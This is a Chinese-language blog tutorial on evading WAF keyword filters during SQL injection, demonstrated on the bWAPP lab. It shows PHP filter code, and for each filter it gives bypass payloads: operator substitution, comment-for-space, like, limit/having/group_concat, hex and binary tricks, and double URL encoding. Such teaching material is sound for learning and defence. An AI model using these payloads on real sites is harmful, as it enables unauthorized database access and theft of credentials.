SQL注入之WAF绕过


惊奇是哲学家的感觉,哲学开始于惊奇。
----柏拉图

一、WAF绕过核心思想

1、SQL语句的同义变形体

例如:

and ------------------- &&

or ------------------ ||

空格 --------------- /**/ 或 /*任意字符*/,%a0,%0b,()包裹字段名和表名或数据库名

= ----------------- like

union ------------------- ||

where ------------------------ limit

limit ---------------------- group by,having,min()组合

group by ----------------------- substr,group_concat组合

select -------------------------- substr

引号 ---------------------------- 十六进制,或unhex()、hex()

unhex()、hex()、substr ------------------------- binary()

2、利用WAF规则设定的缺陷

如双写、逻辑缺陷

3、利用技术链中间环节绕过

如编码,宽字节,二次注入


二、绕过复现

本次复现的载体是bwapp。

and、or过滤
function sqli_check_2($data)
{
   
    #return mysql_real_escape_string($data);
	$movie = preg_replace('/(and|or)/i','',$data);  #正则替换and,or
	echo "<p>".$movie."</p>";
	return $movie; 
}

绕过思路:and ----- && or ----- ||

image-20210412173430547image-20210412173500984
image-20210412173651561image-20210412173727188

空格过滤
function sqli_check_2($data)
{ 
    #return mysql_real_escape_string($data);
	$movie = preg_replace('/(and|or| )/i','',$data);
	echo "<p>".$movie."</p>";
	return $movie;  
}

绕过思路:空格 ------ /**/

image-20210412174253143image-20210412180443416

=过滤
function sqli_check_2($data)
{
   
    #return mysql_real_escape_string($data);
	$movie = preg_replace('/(and|or| |=)/i','',$data);
	echo "<p>".$movie."</p>";
	return $movie;   
}

绕过思路:= ------------- like

image-20210412181416945image-20210412181451704

union过滤

过滤代码 preg_match(’/(and|or|union)/i’,$id)

过滤情况 union select user,password from users

在盲注的时候|| (select user from users where user_id=1)=‘admin’ (需要预先知道users表/user列/admin字段) (||绕过)

image-20210410100826210 image-20210410100938103 image-20210412210210092

这个实际上只能算是构造了一个"or 真",然后返回了一个全集。

但在盲注中,我们可以构造"or 判别式",来进行盲注。


where过滤

过滤代码 preg_match(’/(and|or|union|where)/i’,$id)

过滤情况 || (select user from users where user_id = 1)=‘admin’

绕过情况 || (select user from users limit 1,1)=‘admin’ (limit绕过)

image-20210412205441901

这个在实际情况中需要一个一个的试也可以结合ascii()函数和substr()函数进行盲注。


limit过滤

过滤代码 preg_match(’/(and|or|union|where|limit)/i’,$id);

过滤情况 || (select user from users limit 1,1)=‘admin’

绕过情况 || (select min(user) from group by user_id having user_id = 1)=‘admin’ (group by, having, min()绕过)

image-20210412211450715

image-20210410102229933
group by过滤

过滤代码 preg_match(’/(and|or|union|where|limit|group by)/i’,$id)

过滤情况 || (select min(user) from group by user_id having user_id=1)=‘admin’

绕过情况 || select substr((select group_concat(name)name from test), 1, 1)=‘t’ (substr与group_concat联合调用)

image-20210410105909578

image-20210410115037899
select及’过滤绕过

过滤代码 preg_match('/(and|or|union|where|limit|group by|select|\')/i')

过滤情况 || select substr((select group_concat(name)name from test), 1, 1)=‘t’

绕过情况 || substr(name, 1, 1)=0x74

​ || substr(name, 1, 1)=unhex(74)

image-20210410115808410

在盲注时绕过select的过滤,可采用||和substr的组合来绕过。但事先也要知道数据库的一些相关信息,不太好用。

而对于单引号的绕过可以用十六进制、hex()、unhex()等函数来规避。


hex、unhex、及substr过滤

盲注中hex、unhex、及substr过滤绕过

过滤代码:preg_match(’/(and|or|union|where|limit|group by|select|\’|hex|unhex|substr)/i’, $id)

过滤情况: || substr(name, 1, 1)=unhex(74)

绕过情况:binary(name) = 0x74657374 (binary绕过)

image-20210412110856916


关键字空绕过

在一次性的空置换中,双写绕过


双重编码绕过

过滤代码:WAF: urldecode(param)->过滤

绕过:双重url编码

思路:将关键字双重编码后,通过WAF时会进行一次url解码然后去过滤,由于一次解码后还有一层url编码,所以WAF无法匹配关键字,导致绕过。而传到web容器时,web容器会自动进行一次url解码,进而还原了我们的恶意代码。


转义函数并不是万能的

$id = mysql_real_escape_string(“1 or 1=1”)

$sql = “select * from table where id = $id”

$sql = “select * from table where id =1 or 1=1”

当遇到数字型注入,或者字符型代码中参数没有加引号的情况下将形同虚设。


宽字节绕过

传送门


二次注入

二次注入:来自数据库的输入同样不可信。

sqli-labs之less-24传送门

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值